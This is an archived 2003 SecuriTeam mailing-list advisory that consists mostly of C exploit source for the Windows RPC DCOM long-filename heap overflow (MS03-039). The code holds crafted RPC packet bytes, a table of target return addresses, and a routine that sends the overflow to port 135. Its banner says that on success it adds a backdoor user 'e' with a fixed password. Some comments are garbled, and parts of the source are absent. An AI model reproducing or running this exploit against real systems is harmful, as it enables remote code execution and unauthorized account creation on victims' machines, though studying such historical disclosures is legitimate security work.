

Securiteam: [EXPL] Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

[EXPL] Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0056.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/17/03

To: list@securiteam.com

Date: 17 Sep 2003 10:42:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/securitynews/5LP0B0AB5C.html>> Buffer Overrun In RPCSS Service Could Allow Code Execution, a vulnerability in the RPC server allows remote attackers to cause the service to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

/*

<http://www.xfocus.net/tools/200309/MS03-039-exp.c>

?????TopLevelExceptionFilter,???call [ebp+74]?????????????

<http://www.immunitysec.com/papers/msrpccheap.pdf>

<http://www.immunitysec.com/papers/msrpccheap2.pdf>

??falshsky & benjurry & Dave Aitel(??????^_^)

Securiteam: [EXPL] Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

```
??exp????????pskill rpcss,??????exp,?????????,  
????????????,?????????
```

```
*/
```

```
#include <stdio.h>  
#include <winsock2.h>  
#include <windows.h>  
#include <process.h>  
#include <string.h>  
#include <winbase.h>
```

```
#pragma comment(lib,"ws2_32")
```

```
unsigned char bindstr[]={  
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,  
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,  
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,  
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,  
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
```

```
unsigned char request1[]={  
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03  
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00  
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45  
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00  
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E  
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D  
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41  
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00  
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45  
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00  
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00  
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03  
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00  
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00  
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29  
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00  
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00  
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00  
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x01,0x10  
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF  
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
```


Securiteam: [EXPL] Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

```
0x77a1b496,
"OLEAUT32.dll v2.40.4522.0"},
{ "2kEnSp3+SomeHotFixs+MS03-026",
0x77eda1f0,
"kernel32.dll v5.0.2195.6079",
0x77a1afa9,
"OLEAUT32.dll v2.40.4518.0" }
}, v;
void main(int argc,char ** argv)
{
    WSADATA WSADData;
    SOCKET sock;
    int len,len1;
    SOCKADDR_IN addr_in;
    short port=135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];
    int i, iType;

    printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
"Base on flashsky's MS03-026 exp\n"
"Code by ey4s<eyas#xfocus.org>\n"
"2003-09-16\n"
"Welcome to http://www.xfocus.net\n"
"Thanks to flashsky & benjurry & Dave Aitel\n"
"If success, target will add a user \"e\" and password is
\"asd#321\"\n\n");

    if(argc!=3)
    {
        printf("Usage: %s <target> <type>\n", argv[0]);
        for(i = 0; i < sizeof(targets)/sizeof(v); i++)
            printf( "<%d> %s\n"
" TopSeh=0x%.8x in %s\n"
" JmpAddr=0x%.8x in %s\n",
i, targets[i].os,
targets[i].dwTopSeh, targets[i].seh,
targets[i].dwJmpAddr, targets[i].jmp);
        return;
    }

    iType = atoi(argv[2]);
    if((iType<0) || iType > sizeof(targets)/sizeof(v))
    {
        printf("[-] Wrong type.\n");
        return;
    }

    memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
    memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
    memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
```

```

printf("[+] Prepare shellcode completed.\n");

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
    printf("WSAStartup error.Error:%d\n",WSAGetLastError());
    return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
    printf("Socket failed.Error:%d\n",WSAGetLastError());
    return;
}
if(WSAConnect(sock,(struct sockaddr
*)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
    printf("Connect failed.Error:%d",WSAGetLastError());
    return;
}
printf("[+] Connect to %s:135 success.\n", argv[1]);

if(sizeof(sc_add_user) > sc_max)
{
    printf("[-] shellcode too long, exit.\n");
    return;
}

len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(DWORD*)(request2)=*(DWORD*)(request2)+sizeof(sc)/2; //??????????
*(DWORD*)(request2+8)=*(DWORD
*)(request2+8)+sizeof(sc)/2; //??????????
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD*)(buf2+8)=*(DWORD*)(buf2+8)+sizeof(sc)-0xc;
//??????????
*(DWORD*)(buf2+0x10)=*(DWORD*)(buf2+0x10)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x80)=*(DWORD*)(buf2+0x80)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x84)=*(DWORD*)(buf2+0x84)+sizeof(sc)-0xc;

```

Securiteam: [EXPL] Windows RPC DCOM Long Filename Heap Overflow Exploit (MS03-039)

```
*(DWORD*)(buf2+0xb4)=*(DWORD*)(buf2+0xb4)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0xb8)=*(DWORD*)(buf2+0xb8)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0xd0)=*(DWORD*)(buf2+0xd0)+sizeof(sc)-0xc;
*(DWORD*)(buf2+0x18c)=*(DWORD*)(buf2+0x18c)+sizeof(sc)-0xc;

len = send(sock,bindstr,sizeof(bindstr),0);
if(len<=0)
{
    printf("[ - ] Send failed.Error:%d\n",WSAGetLastError());
    return;
}
else
printf("[ + ] send %d bytes.\n", len);

len=recv(sock,buf1,1000,0);
if(len<=0)
{
    printf("[ - ] recv error:%d\n", GetLastError());
    return;
}
else
printf("[ + ] recv %d bytes.\n", len);

len = send(sock,buf2,len1,0);
if(len<=0)
{
    printf("[ - ] Send failed.Error:%d\n",WSAGetLastError());
    return;
}
else
printf("[ + ] send %d bytes.\n", len);
len=recv(sock,buf1,1024,0);
if(len<=0)
{
    printf("[ + ] Target crash or exploit success? :)\n");
}
else
printf("[ - ] recv %d bytes. Bad luck!\n", len);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:eyas@xfocus.org>> ey4s.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.